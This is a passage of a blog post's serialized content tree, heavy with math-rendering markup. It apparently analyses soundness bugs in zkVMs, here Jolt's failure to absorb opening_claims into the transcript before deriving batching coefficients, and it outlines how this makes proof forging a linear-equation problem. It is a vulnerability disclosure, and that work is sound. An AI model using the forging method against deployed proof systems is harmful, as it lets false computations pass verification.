,[114818,114822,114827,114832,114837],{"type":23,"tag":134,"props":114819,"children":114821},{"className":114820,"style":1313},[1205],[],{"type":23,"tag":134,"props":114823,"children":114825},{"className":114824,"style":114702},[1211,21066],[114826],{"type":28,"value":114705},{"type":23,"tag":134,"props":114828,"children":114830},{"className":114829},[21217],[114831],{"type":28,"value":296},{"type":23,"tag":134,"props":114833,"children":114835},{"className":114834},[1211],[114836],{"type":28,"value":1787},{"type":23,"tag":134,"props":114838,"children":114840},{"className":114839,"style":114647},[1211,21066],[114841],{"type":28,"value":114650},{"type":23,"tag":24,"props":114843,"children":114844},{},[114845],{"type":28,"value":114846},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":23,"tag":24,"props":114848,"children":114849},{},[114850,114852,114930],{"type":28,"value":114851},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":23,"tag":92,"props":114853,"children":114855},{"className":114854},[1183,1184],[114856],{"type":23,"tag":134,"props":114857,"children":114859},{"className":114858},[1189],[114860],{"type":23,"tag":134,"props":114861,"children":114863},{"className":114862,"ariaHidden":1195},[1194],[114864],{"type":23,"tag":134,"props":114865,"children":114867},{"className":114866},[1200],[114868,114873,114879,114884,114925],{"type":23,"tag":134,"props":114869,"children":114872},{"className":114870,"style":114871},[1205],"height:1.0641em;vertical-align:-0.25em;",[],{"type":23,"tag":134,"props":114874,"children":114876},{"className":114875,"style":92559},[1211,21066],[114877],{"type":28,"value":114878},"O",{"type":23,"tag":134,"props":114880,"children":114882},{"className":114881},[21195],[114883],{"type":28,"value":272},{"type":23,"tag":134,"props":114885,"children":114887},{"className":114886},[1211],[114888,114893],{"type":23,"tag":134,"props":114889,"children":114891},{"className":114890},[1211,21066],[114892],{"type":28,"value":55910},{"type":23,"tag":134,"props":114894,"children":114896},{"className":114895},[1228],[114897],{"type":23,"tag":134,"props":114898,"children":114900},{"className":114899},[1233],[114901],{"type":23,"tag":134,"props":114902,"children":114904},{"className":114903},[1238],[114905],{"type":23,"tag":134,"props":114906,"children":114908},{"className":114907,"style":1206},[1243],[114909],{"type":23,"tag":134,"props":114910,"children":114911},{"style":1247},[114912,114916],{"type":23,"tag":134,"props":114913,"children":114915},{"className":114914,"style":1253},[1252],[],{"type":23,"tag":134,"props":114917,"children":114919},{"className":114918},[1258,1259,1260,1261],[114920],{"type":23,"tag":134,"props":114921,"children":114923},{"className":114922},[1211,1261],[114924],{"type":28,"value":16768},{"type":23,"tag":134,"props":114926,"children":114928},{"className":114927},[21217],[114929],{"type":28,"value":296},{"type":28,"value":114931}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":23,"tag":18268,"props":114933,"children":114934},{},[],{"type":23,"tag":61,"props":114936,"children":114938},{"id":114937},"the-six-broken-systems",[114939],{"type":28,"value":114940},"The Six Broken Systems",{"type":23,"tag":24,"props":114942,"children":114943},{},[114944],{"type":23,"tag":1116,"props":114945,"children":114948},{"alt":114946,"src":114947},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":23,"tag":24,"props":114950,"children":114951},{},[114952],{"type":28,"value":114953},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":23,"tag":18268,"props":114955,"children":114956},{},[],{"type":23,"tag":9072,"props":114958,"children":114960},{"id":114959},"jolt-a16z",[114961],{"type":28,"value":114962},"Jolt (a16z)",{"type":23,"tag":24,"props":114964,"children":114965},{},[114966],{"type":28,"value":114967},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":23,"tag":24,"props":114969,"children":114970},{},[114971],{"type":23,"tag":2532,"props":114972,"children":114973},{},[114974],{"type":28,"value":114975},"The proof structure:",{"type":23,"tag":87,"props":114977,"children":114979},{"code":114978},"JoltProof {\n    commitments: Vec\u003CCommitment>,           // Polynomial commitments to trace\n    opening_claims: Map\u003COpeningId, Claim>,  // \u003C- THE VULNERABLE VALUES\n    proofs: Map\u003CStage, SumcheckProof>,      // Sumcheck and opening proofs\n    ...\n}\n",[114980],{"type":23,"tag":92,"props":114981,"children":114982},{"__ignoreMap":7},[114983],{"type":28,"value":114978},{"type":23,"tag":24,"props":114985,"children":114986},{},[114987],{"type":23,"tag":2532,"props":114988,"children":114989},{},[114990],{"type":28,"value":114991},"The verification flow:",{"type":23,"tag":24,"props":114993,"children":114994},{},[114995],{"type":23,"tag":1116,"props":114996,"children":114999},{"alt":114997,"src":114998},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":23,"tag":24,"props":115001,"children":115002},{},[115003,115008,115010,115016,115018,115024,115026,115031],{"type":23,"tag":2532,"props":115004,"children":115005},{},[115006],{"type":28,"value":115007},"The bug:",{"type":28,"value":115009}," Each sumcheck instance provides an ",{"type":23,"tag":92,"props":115011,"children":115013},{"className":115012},[],[115014],{"type":28,"value":115015},"input_claim",{"type":28,"value":115017},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":23,"tag":92,"props":115019,"children":115021},{"className":115020},[],[115022],{"type":28,"value":115023},"opening_claims",{"type":28,"value":115025}," in the proof, but they were ",{"type":23,"tag":2532,"props":115027,"children":115028},{},[115029],{"type":28,"value":115030},"never absorbed into the transcript",{"type":28,"value":115032}," before the batching coefficients were derived.",{"type":23,"tag":24,"props":115034,"children":115035},{},[115036],{"type":23,"tag":1116,"props":115037,"children":115040},{"alt":115038,"src":115039},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":23,"tag":24,"props":115042,"children":115043},{},[115044],{"type":23,"tag":2532,"props":115045,"children":115046},{},[115047],{"type":28,"value":115048},"How sumcheck uses opening_claims:",{"type":23,"tag":24,"props":115050,"children":115051},{},[115052,115054,115060,115062,115139],{"type":28,"value":115053},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":23,"tag":92,"props":115055,"children":115057},{"className":115056},[],[115058],{"type":28,"value":115059},"BatchedClaim",{"type":28,"value":115061}," by taking a random linear combination of the individual claims ",{"type":23,"tag":92,"props":115063,"children":115065},{"className":115064},[1183,1184],[115066],{"type":23,"tag":134,"props":115067,"children":115069},{"className":115068},[1189],[115070],{"type":23,"tag":134,"props":115071,"children":115073},{"className":115072,"ariaHidden":1195},[1194],[115074],{"type":23,"tag":134,"props":115075,"children":115077},{"className":115076},[1200],[115078,115082],{"type":23,"tag":134,"props":115079,"children":115081},{"className":115080,"style":110556},[1205],[],{"type":23,"tag":134,"props":115083,"children":115085},{"className":115084},[1211],[115086,115091],{"type":23,"tag":134,"props":115087,"children":115089},{"className":115088,"style":92793},[1211,21066],[115090],{"type":28,"value":92796},{"type":23,"tag":134,"props":115092,"children":115094},{"className":115093},[1228],[115095],{"type":23,"tag":134,"props":115096,"children":115098},{"className":115097},[1233,21120],[115099,115128],{"type":23,"tag":134,"props":115100,"children":115102},{"className":115101},[1238],[115103,115123],{"type":23,"tag":134,"props":115104,"children":115106},{"className":115105,"style":93088},[1243],[115107],{"type":23,"tag":134,"props":115108,"children":115109},{"style":109988},[115110,115114],{"type":23,"tag":134,"props":115111,"children":115113},{"className":115112,"style":1253},[1252],[],{"type":23,"tag":134,"props":115115,"children":115117},{"className":115116},[1258,1259,1260,1261],[115118],{"type":23,"tag":134,"props":115119,"children":115121},{"className":115120},[1211,21066,1261],[115122],{"type":28,"value":929},{"type":23,"tag":134,"props":115124,"children":115126},{"className":115125},[21223],[115127],{"type":28,"value":21226},{"type":23,"tag":134,"props":115129,"children":115131},{"className":115130},[1238],[115132],{"type":23,"tag":134,"props":115133,"children":115135},{"className":115134,"style":92642},[1243],[115136],{"type":23,"tag":134,"props":115137,"children":115138},{},[],{"type":28,"value":1697},{"type":23,"tag":24,"props":115141,"children":115142},{},[115143],{"type":23,"tag":92,"props":115144,"children":115146},{"className":115145},[1183,1184],[115147],{"type":23,"tag":134,"props":115148,"children":115150},{"className":115149},[1189],[115151],{"type":23,"tag":134,"props":115152,"children":115154},{"className":115153,"ariaHidden":1195},[1194],[115155,115185,115326],{"type":23,"tag":134,"props":115156,"children":115158},{"className":115157},[1200],[115159,115163,115172,115176,115181],{"type":23,"tag":134,"props":115160,"children":115162},{"className":115161,"style":92474},[1205],[],{"type":23,"tag":134,"props":115164,"children":115166},{"className":115165},[1211,28],[115167],{"type":23,"tag":134,"props":115168,"children":115170},{"className":115169},[1211],[115171],{"type":28,"value":115059},{"type":23,"tag":134,"props":115173,"children":115175},{"className":115174,"style":1390},[1292],[],{"type":23,"tag":134,"props":115177,"children":115179},{"className":115178},[1395],[115180],{"type":28,"value":257},{"type":23,"tag":134,"props":115182,"children":115184},{"className":115183,"style":1390},[1292],[],{"type":23,"tag":134,"props":115186,"children":115188},{"className":115187},[1200],[115189,115194,115251,115255,115313,115317,115322],{"type":23,"tag":134,"props":115190,"children":115193},{"className":115191,"style":115192},[1205],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":23,"tag":134,"props":115195,"children":115197},{"className":115196},[21102],[115198,115203],{"type":23,"tag":134,"props":115199,"children":115201},{"className":115200,"style":21109},[21102,21107,21108],[115202],{"type":28,"value":108354},{"type":23,"tag":134,"props":115204,"children":115206},{"className":115205},[1228],[115207],{"type":23,"tag":134,"props":115208,"children":115210},{"className":115209},[1233,21120],[115211,115240],{"type":23,"tag":134,"props":115212,"children":115214},{"className":115213},[1238],[115215,115235],{"type":23,"tag":134,"props":115216,"children":115218},{"className":115217,"style":113766},[1243],[115219],{"type":23,"tag":134,"props":115220,"children":115221},{"style":21133},[115222,115226],{"type":23,"tag":134,"props":115223,"children":115225},{"className":115224,"style":1253},[1252],[],{"type":23,"tag":134,"props":115227,"children":115229},{"className":115228},[1258,1259,1260,1261],[115230],{"type":23,"tag":134,"props":115231,"children":115233},{"className":115232},[1211,21066,1261],[115234],{"type":28,"value":929},{"type":23,"tag":134,"props":115236,"children":115238},{"className":115237},[21223],[115239],{"type":28,"value":21226},{"type":23,"tag":134,"props":115241,"children":115243},{"className":115242},[1238],[115244],{"type":23,"tag":134,"props":115245,"children":115247},{"className":115246,"style":114046},[1243],[115248],{"type":23,"tag":134,"props":115249,"children":115250},{},[],{"type":23,"tag":134,"props":115252,"children":115254},{"className":115253,"style":1331},[1292],[],{"type":23,"tag":134,"props":115256,"children":115258},{"className":115257},[1211],[115259,115264],{"type":23,"tag":134,"props":115260,"children":115262},{"className":115261,"style":114647},[1211,21066],[115263],{"type":28,"value":114650},{"type":23,"tag":134,"props":115265,"children":115267},{"className":115266},[1228],[115268],{"type":23,"tag":134,"props":115269,"children":115271},{"className":115270},[1233,21120],[115272,115302],{"type":23,"tag":134,"props":115273,"children":115275},{"className":115274},[1238],[115276,115297],{"type":23,"tag":134,"props":115277,"children":115279},{"className":115278,"style":93088},[1243],[115280],{"type":23,"tag":134,"props":115281,"children":115283},{"style":115282},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[115284,115288],{"type":23,"tag":134,"props":115285,"children":115287},{"className":115286,"style":1253},[1252],[],{"type":23,"tag":134,"props":115289,"children":115291},{"className":115290},[1258,1259,1260,1261],[115292],{"type":23,"tag":134,"props":115293,"children":115295},{"className":115294},[1211,21066,1261],[115296],{"type":28,"value":929},{"type":23,"tag":134,"props":115298,"children":115300},{"className":115299},[21223],[115301],{"type":28,"value":21226},{"type":23,"tag":134,"props":115303,"children":115305},{"className":115304},[1238],[115306],{"type":23,"tag":134,"props":115307,"children":115309},{"className":115308,"style":92642},[1243],[115310],{"type":23,"tag":134,"props":115311,"children":115312},{},[],{"type":23,"tag":134,"props":115314,"children":115316},{"className":115315,"style":1293},[1292],[],{"type":23,"tag":134,"props":115318,"children":115320},{"className":115319},[1298],[115321],{"type":28,"value":110821},{"type":23,"tag":134,"props":115323,"children":115325},{"className":115324,"style":1293},[1292],[],{"type":23,"tag":134,"props":115327,"children":115329},{"className":115328},[1200],[115330,115334],{"type":23,"tag":134,"props":115331,"children":115333},{"className":115332,"style":110556},[1205],[],{"type":23,"tag":134,"props":115335,"children":115337},{"className":115336},[1211],[115338,115343],{"type":23,"tag":134,"props":115339,"children":115341},{"className":115340,"style":92793},[1211,21066],[115342],{"type":28,"value":92796},{"type":23,"tag":134,"props":115344,"children":115346},{"className":115345},[1228],[115347],{"type":23,"tag":134,"props":115348,"children":115350},{"className":115349},[1233,21120],[115351,115380],{"type":23,"tag":134,"props":115352,"children":115354},{"className":115353},[1238],[115355,115375],{"type":23,"tag":134,"props":115356,"children":115358},{"className":115357,"style":93088},[1243],[115359],{"type":23,"tag":134,"props":115360,"children":115361},{"style":109988},[115362,115366],{"type":23,"tag":134,"props":115363,"children":115365},{"className":115364,"style":1253},[1252],[],{"type":23,"tag":134,"props":115367,"children":115369},{"className":115368},[1258,1259,1260,1261],[115370],{"type":23,"tag":134,"props":115371,"children":115373},{"className":115372},[1211,21066,1261],[115374],{"type":28,"value":929},{"type":23,"tag":134,"props":115376,"children":115378},{"className":115377},[21223],[115379],{"type":28,"value":21226},{"type":23,"tag":134,"props":115381,"children":115383},{"className":115382},[1238],[115384],{"type":23,"tag":134,"props":115385,"children":115387},{"className":115386,"style":92642},[1243],[115388],{"type":23,"tag":134,"props":115389,"children":115390},{},[],{"type":23,"tag":24,"props":115392,"children":115393},{},[115394,115396,115473,115475,115480,115482,115559,115561,115638,115640,115717],{"type":28,"value":115395},"where ",{"type":23,"tag":92,"props":115397,"children":115399},{"className":115398},[1183,1184],[115400],{"type":23,"tag":134,"props":115401,"children":115403},{"className":115402},[1189],[115404],{"type":23,"tag":134,"props":115405,"children":115407},{"className":115406,"ariaHidden":1195},[1194],[115408],{"type":23,"tag":134,"props":115409,"children":115411},{"className":115410},[1200],[115412,115416],{"type":23,"tag":134,"props":115413,"children":115415},{"className":115414,"style":109529},[1205],[],{"type":23,"tag":134,"props":115417,"children":115419},{"className":115418},[1211],[115420,115425],{"type":23,"tag":134,"props":115421,"children":115423},{"className":115422,"style":114647},[1211,21066],[115424],{"type":28,"value":114650},{"type":23,"tag":134,"props":115426,"children":115428},{"className":115427},[1228],[115429],{"type":23,"tag":134,"props":115430,"children":115432},{"className":115431},[1233,21120],[115433,115462],{"type":23,"tag":134,"props":115434,"children":115436},{"className":115435},[1238],[115437,115457],{"type":23,"tag":134,"props":115438,"children":115440},{"className":115439,"style":93088},[1243],[115441],{"type":23,"tag":134,"props":115442,"children":115443},{"style":115282},[115444,115448],{"type":23,"tag":134,"props":115445,"children":115447},{"className":115446,"style":1253},[1252],[],{"type":23,"tag":134,"props":115449,"children":115451},{"className":115450},[1258,1259,1260,1261],[115452],{"type":23,"tag":134,"props":115453,"children":115455},{"className":115454},[1211,21066,1261],[115456],{"type":28,"value":929},{"type":23,"tag":134,"props":115458,"children":115460},{"className":115459},[21223],[115461],{"type":28,"value":21226},{"type":23,"tag":134,"props":115463,"children":115465},{"className":115464},[1238],[115466],{"type":23,"tag":134,"props":115467,"children":115469},{"className":115468,"style":92642},[1243],[115470],{"type":23,"tag":134,"props":115471,"children":115472},{},[],{"type":28,"value":115474}," are random coefficients derived from the transcript. Since ",{"type":23,"tag":92,"props":115476,"children":115478},{"className":115477},[],[115479],{"type":28,"value":115023},{"type":28,"value":115481}," (containing ",{"type":23,"tag":92,"props":115483,"children":115485},{"className":115484},[1183,1184],[115486],{"type":23,"tag":134,"props":115487,"children":115489},{"className":115488},[1189],[115490],{"type":23,"tag":134,"props":115491,"children":115493},{"className":115492,"ariaHidden":1195},[1194],[115494],{"type":23,"tag":134,"props":115495,"children":115497},{"className":115496},[1200],[115498,115502],{"type":23,"tag":134,"props":115499,"children":115501},{"className":115500,"style":110556},[1205],[],{"type":23,"tag":134,"props":115503,"children":115505},{"className":115504},[1211],[115506,115511],{"type":23,"tag":134,"props":115507,"children":115509},{"className":115508,"style":92793},[1211,21066],[115510],{"type":28,"value":92796},{"type":23,"tag":134,"props":115512,"children":115514},{"className":115513},[1228],[115515],{"type":23,"tag":134,"props":115516,"children":115518},{"className":115517},[1233,21120],[115519,115548],{"type":23,"tag":134,"props":115520,"children":115522},{"className":115521},[1238],[115523,115543],{"type":23,"tag":134,"props":115524,"children":115526},{"className":115525,"style":93088},[1243],[115527],{"type":23,"tag":134,"props":115528,"children":115529},{"style":109988},[115530,115534],{"type":23,"tag":134,"props":115531,"children":115533},{"className":115532,"style":1253},[1252],[],{"type":23,"tag":134,"props":115535,"children":115537},{"className":115536},[1258,1259,1260,1261],[115538],{"type":23,"tag":134,"props":115539,"children":115541},{"className":115540},[1211,21066,1261],[115542],{"type":28,"value":929},{"type":23,"tag":134,"props":115544,"children":115546},{"className":115545},[21223],[115547],{"type":28,"value":21226},{"type":23,"tag":134,"props":115549,"children":115551},{"className":115550},[1238],[115552],{"type":23,"tag":134,"props":115553,"children":115555},{"className":115554,"style":92642},[1243],[115556],{"type":23,"tag":134,"props":115557,"children":115558},{},[],{"type":28,"value":115560},") were not in the transcript, the ",{"type":23,"tag":92,"props":115562,"children":115564},{"className":115563},[1183,1184],[115565],{"type":23,"tag":134,"props":115566,"children":115568},{"className":115567},[1189],[115569],{"type":23,"tag":134,"props":115570,"children":115572},{"className":115571,"ariaHidden":1195},[1194],[115573],{"type":23,"tag":134,"props":115574,"children":115576},{"className":115575},[1200],[115577,115581],{"type":23,"tag":134,"props":115578,"children":115580},{"className":115579,"style":109529},[1205],[],{"type":23,"tag":134,"props":115582,"children":115584},{"className":115583},[1211],[115585,115590],{"type":23,"tag":134,"props":115586,"children":115588},{"className":115587,"style":114647},[1211,21066],[115589],{"type":28,"value":114650},{"type":23,"tag":134,"props":115591,"children":115593},{"className":115592},[1228],[115594],{"type":23,"tag":134,"props":115595,"children":115597},{"className":115596},[1233,21120],[115598,115627],{"type":23,"tag":134,"props":115599,"children":115601},{"className":115600},[1238],[115602,115622],{"type":23,"tag":134,"props":115603,"children":115605},{"className":115604,"style":93088},[1243],[115606],{"type":23,"tag":134,"props":115607,"children":115608},{"style":115282},[115609,115613],{"type":23,"tag":134,"props":115610,"children":115612},{"className":115611,"style":1253},[1252],[],{"type":23,"tag":134,"props":115614,"children":115616},{"className":115615},[1258,1259,1260,1261],[115617],{"type":23,"tag":134,"props":115618,"children":115620},{"className":115619},[1211,21066,1261],[115621],{"type":28,"value":929},{"type":23,"tag":134,"props":115623,"children":115625},{"className":115624},[21223],[115626],{"type":28,"value":21226},{"type":23,"tag":134,"props":115628,"children":115630},{"className":115629},[1238],[115631],{"type":23,"tag":134,"props":115632,"children":115634},{"className":115633,"style":92642},[1243],[115635],{"type":23,"tag":134,"props":115636,"children":115637},{},[],{"type":28,"value":115639}," values are independent of ",{"type":23,"tag":92,"props":115641,"children":115643},{"className":115642},[1183,1184],[115644],{"type":23,"tag":134,"props":115645,"children":115647},{"className":115646},[1189],[115648],{"type":23,"tag":134,"props":115649,"children":115651},{"className":115650,"ariaHidden":1195},[1194],[115652],{"type":23,"tag":134,"props":115653,"children":115655},{"className":115654},[1200],[115656,115660],{"type":23,"tag":134,"props":115657,"children":115659},{"className":115658,"style":110556},[1205],[],{"type":23,"tag":134,"props":115661,"children":115663},{"className":115662},[1211],[115664,115669],{"type":23,"tag":134,"props":115665,"children":115667},{"className":115666,"style":92793},[1211,21066],[115668],{"type":28,"value":92796},{"type":23,"tag":134,"props":115670,"children":115672},{"className":115671},[1228],[115673],{"type":23,"tag":134,"props":115674,"children":115676},{"className":115675},[1233,21120],[115677,115706],{"type":23,"tag":134,"props":115678,"children":115680},{"className":115679},[1238],[115681,115701],{"type":23,"tag":134,"props":115682,"children":115684},{"className":115683,"style":93088},[1243],[115685],{"type":23,"tag":134,"props":115686,"children":115687},{"style":109988},[115688,115692],{"type":23,"tag":134,"props":115689,"children":115691},{"className":115690,"style":1253},[1252],[],{"type":23,"tag":134,"props":115693,"children":115695},{"className":115694},[1258,1259,1260,1261],[115696],{"type":23,"tag":134,"props":115697,"children":115699},{"className":115698},[1211,21066,1261],[115700],{"type":28,"value":929},{"type":23,"tag":134,"props":115702,"children":115704},{"className":115703},[21223],[115705],{"type":28,"value":21226},{"type":23,"tag":134,"props":115707,"children":115709},{"className":115708},[1238],[115710],{"type":23,"tag":134,"props":115711,"children":115713},{"className":115712,"style":92642},[1243],[115714],{"type":23,"tag":134,"props":115715,"children":115716},{},[],{"type":28,"value":720},{"type":23,"tag":24,"props":115719,"children":115720},{},[115721],{"type":23,"tag":2532,"props":115722,"children":115723},{},[115724],{"type":28,"value":115725},"Why it's linear:",{"type":23,"tag":24,"props":115727,"children":115728},{},[115729,115731],{"type":28,"value":115730},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":23,"tag":92,"props":115732,"children":115734},{"className":115733},[1183,1184],[115735],{"type":23,"tag":134,"props":115736,"children":115738},{"className":115737},[1189],[115739],{"type":23,"tag":134,"props":115740,"children":115742},{"className":115741,"ariaHidden":1195},[1194],[115743],{"type":23,"tag":134,"props":115744,"children":115746},{"className":115745},[1200],[115747,115751],{"type":23,"tag":134,"props":115748,"children":115750},{"className":115749,"style":21061},[1205],[],{"type":23,"tag":134,"props":115752,"children":115754},{"className":115753,"style":92793},[1211,21066],[115755],{"type":28,"value":92796},{"type":23,"tag":24,"props":115757,"children":115758},{},[115759],{"type":23,"tag":92,"props":115760,"children":115762},{"className":115761},[1183,1184],[115763],{"type":23,"tag":134,"props":115764,"children":115766},{"className":115765},[1189],[115767],{"type":23,"tag":134,"props":115768,"children":115770},{"className":115769,"ariaHidden":1195},[1194],[115771,115861,115887,115913],{"type":23,"tag":134,"props":115772,"children":115774},{"className":115773},[1200],[115775,115779,115848,115852,115857],{"type":23,"tag":134,"props":115776,"children":115778},{"className":115777,"style":110556},[1205],[],{"type":23,"tag":134,"props":115780,"children":115782},{"className":115781},[1211],[115783,115789],{"type":23,"tag":134,"props":115784,"children":115786},{"className":115785,"style":21598},[1211,21066],[115787],{"type":28,"value":115788},"C",{"type":23,"tag":134,"props":115790,"children":115792},{"className":115791},[1228],[115793],{"type":23,"tag":134,"props":115794,"children":115796},{"className":115795},[1233,21120],[115797,115837],{"type":23,"tag":134,"props":115798,"children":115800},{"className":115799},[1238],[115801,115832],{"type":23,"tag":134,"props":115802,"children":115805},{"className":115803,"style":115804},[1243],"height:0.3361em;",[115806],{"type":23,"tag":134,"props":115807,"children":115809},{"style":115808},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[115810,115814],{"type":23,"tag":134,"props":115811,"children":115813},{"className":115812,"style":1253},[1252],[],{"type":23,"tag":134,"props":115815,"children":115817},{"className":115816},[1258,1259,1260,1261],[115818],{"type":23,"tag":134,"props":115819,"children":115821},{"className":115820},[1211,1261],[115822],{"type":23,"tag":134,"props":115823,"children":115825},{"className":115824},[1211,28,1261],[115826],{"type":23,"tag":134,"props":115827,"children":115829},{"className":115828},[1211,1261],[115830],{"type":28,"value":115831},"final",{"type":23,"tag":134,"props":115833,"children":115835},{"className":115834},[21223],[115836],{"type":28,"value":21226},{"type":23,"tag":134,"props":115838,"children":115840},{"className":115839},[1238],[115841],{"type":23,"tag":134,"props":115842,"children":115844},{"className":115843,"style":92642},[1243],[115845],{"type":23,"tag":134,"props":115846,"children":115847},{},[],{"type":23,"tag":134,"props":115849,"children":115851},{"className":115850,"style":1390},[1292],[],{"type":23,"tag":134,"props":115853,"children":115855},{"className":115854},[1395],[115856],{"type":28,"value":257},{"type":23,"tag":134,"props":115858,"children":115860},{"className":115859,"style":1390},[1292],[],{"type":23,"tag":134,"props":115862,"children":115864},{"className":115863},[1200],[115865,115869,115874,115878,115883],{"type":23,"tag":134,"props":115866,"children":115868},{"className":115867,"style":114642},[1205],[],{"type":23,"tag":134,"props":115870,"children":115872},{"className":115871},[1211,21066],[115873],{"type":28,"value":31},{"type":23,"tag":134,"props":115875,"children":115877},{"className":115876,"style":1293},[1292],[],{"type":23,"tag":134,"props":115879,"children":115881},{"className":115880},[1298],[115882],{"type":28,"value":110821},{"type":23,"tag":134,"props":115884,"children":115886},{"className":115885,"style":1293},[1292],[],{"type":23,"tag":134,"props":115888,"children":115890},{"className":115889},[1200],[115891,115895,115900,115904,115909],{"type":23,"tag":134,"props":115892,"children":115894},{"className":115893,"style":114671},[1205],[],{"type":23,"tag":134,"props":115896,"children":115898},{"className":115897,"style":92793},[1211,21066],[115899],{"type":28,"value":92796},{"type":23,"tag":134,"props":115901,"children":115903},{"className":115902,"style":1293},[1292],[],{"type":23,"tag":134,"props":115905,"children":115907},{"className":115906},[1298],[115908],{"type":28,"value":1586},{"type":23,"tag":134,"props":115910,"children":115912},{"className":115911,"style":1293},[1292],[],{"type":23,"tag":134,"props":115914,"children":115916},{"className":115915},[1200],[115917,115921],{"type":23,"tag":134,"props":115918,"children":115920},{"className":115919,"style":92474},[1205],[],{"type":23,"tag":134,"props":115922,"children":115924},{"className":115923},[1211,21066],[115925],{"type":28,"value":393},{"type":23,"tag":24,"props":115927,"children":115928},{},[115929,115930,115969,115971,115996,115998,116128,116130,116251],{"type":28,"value":115395},{"type":23,"tag":92,"props":115931,"children":115933},{"className":115932},[1183,1184],[115934],{"type":23,"tag":134,"props":115935,"children":115937},{"className":115936},[1189],[115938],{"type":23,"tag":134,"props":115939,"children":115941},{"className":115940,"ariaHidden":1195},[1194],[115942],{"type":23,"tag":134,"props":115943,"children":115945},{"className":115944},[1200],[115946,115950,115955,115960,115964],{"type":23,"tag":134,"props":115947,"children":115949},{"className":115948,"style":114614},[1205],[],{"type":23,"tag":134,"props":115951,"children":115953},{"className":115952},[1211,21066],[115954],{"type":28,"value":31},{"type":23,"tag":134,"props":115956,"children":115958},{"className":115957},[1324],[115959],{"type":28,"value":1327},{"type":23,"tag":134,"props":115961,"children":115963},{"className":115962,"style":1331},[1292],[],{"type":23,"tag":134,"props":115965,"children":115967},{"className":115966},[1211,21066],[115968],{"type":28,"value":393},{"type":28,"value":115970}," are determined by the transcript (independent of ",{"type":23,"tag":92,"props":115972,"children":115974},{"className":115973},[1183,1184],[115975],{"type":23,"tag":134,"props":115976,"children":115978},{"className":115977},[1189],[115979],{"type":23,"tag":134,"props":115980,"children":115982},{"className":115981,"ariaHidden":1195},[1194],[115983],{"type":23,"tag":134,"props":115984,"children":115986},{"className":115985},[1200],[115987,115991],{"type":23,"tag":134,"props":115988,"children":115990},{"className":115989,"style":21061},[1205],[],{"type":23,"tag":134,"props":115992,"children":115994},{"className":115993,"style":92793},[1211,21066],[115995],{"type":28,"value":92796},{"type":28,"value":115997},"). The verifier checks that ",{"type":23,"tag":92,"props":115999,"children":116001},{"className":116000},[1183,1184],[116002],{"type":23,"tag":134,"props":116003,"children":116005},{"className":116004},[1189],[116006],{"type":23,"tag":134,"props":116007,"children":116009},{"className":116008,"ariaHidden":1195},[1194],[116010,116096],{"type":23,"tag":134,"props":116011,"children":116013},{"className":116012},[1200],[116014,116018,116083,116087,116092],{"type":23,"tag":134,"props":116015,"children":116017},{"className":116016,"style":110556},[1205],[],{"type":23,"tag":134,"props":116019,"children":116021},{"className":116020},[1211],[116022,116027],{"type":23,"tag":134,"props":116023,"children":116025},{"className":116024,"style":21598},[1211,21066],[116026],{"type":28,"value":115788},{"type":23,"tag":134,"props":116028,"children":116030},{"className":116029},[1228],[116031],{"type":23,"tag":134,"props":116032,"children":116034},{"className":116033},[1233,21120],[116035,116072],{"type":23,"tag":134,"props":116036,"children":116038},{"className":116037},[1238],[116039,116067],{"type":23,"tag":134,"props":116040,"children":116042},{"className":116041,"style":115804},[1243],[116043],{"type":23,"tag":134,"props":116044,"children":116045},{"style":115808},[116046,116050],{"type":23,"tag":134,"props":116047,"children":116049},{"className":116048,"style":1253},[1252],[],{"type":23,"tag":134,"props":116051,"children":116053},{"className":116052},[1258,1259,1260,1261],[116054],{"type":23,"tag":134,"props":116055,"children":116057},{"className":116056},[1211,1261],[116058],{"type":23,"tag":134,"props":116059,"children":116061},{"className":116060},[1211,28,1261],[116062],{"type":23,"tag":134,"props":116063,"children":116065},{"className":116064},[1211,1261],[116066],{"type":28,"value":115831},{"type":23,"tag":134,"props":116068,"children":116070},{"className":116069},[21223],[116071],{"type":28,"value":21226},{"type":23,"tag":134,"props":116073,"children":116075},{"className":116074},[1238],[116076],{"type":23,"tag":134,"props":116077,"children":116079},{"className":116078,"style":92642},[1243],[116080],{"type":23,"tag":134,"props":116081,"children":116082},{},[],{"type":23,"tag":134,"props":116084,"children":116086},{"className":116085,"style":1390},[1292],[],{"type":23,"tag":134,"props":116088,"children":116090},{"className":116089},[1395],[116091],{"type":28,"value":257},{"type":23,"tag":134,"props":116093,"children":116095},{"className":116094,"style":1390},[1292],[],{"type":23,"tag":134,"props":116097,"children":116099},{"className":116098},[1200],[116100,116104,116114,116119],{"type":23,"tag":134,"props":116101,"children":116103},{"className":116102,"style":93972},[1205],[],{"type":23,"tag":134,"props":116105,"children":116107},{"className":116106},[1211,28],[116108],{"type":23,"tag":134,"props":116109,"children":116111},{"className":116110},[1211],[116112],{"type":28,"value":116113},"expected",{"type":23,"tag":134,"props":116115,"children":116117},{"className":116116,"style":92559},[1211],[116118],{"type":28,"value":247},{"type":23,"tag":134,"props":116120,"children":116122},{"className":116121},[1211,28],[116123],{"type":23,"tag":134,"props":116124,"children":116126},{"className":116125},[1211],[116127],{"type":28,"value":37046},{"type":28,"value":116129}," (from PCS opening), this becomes 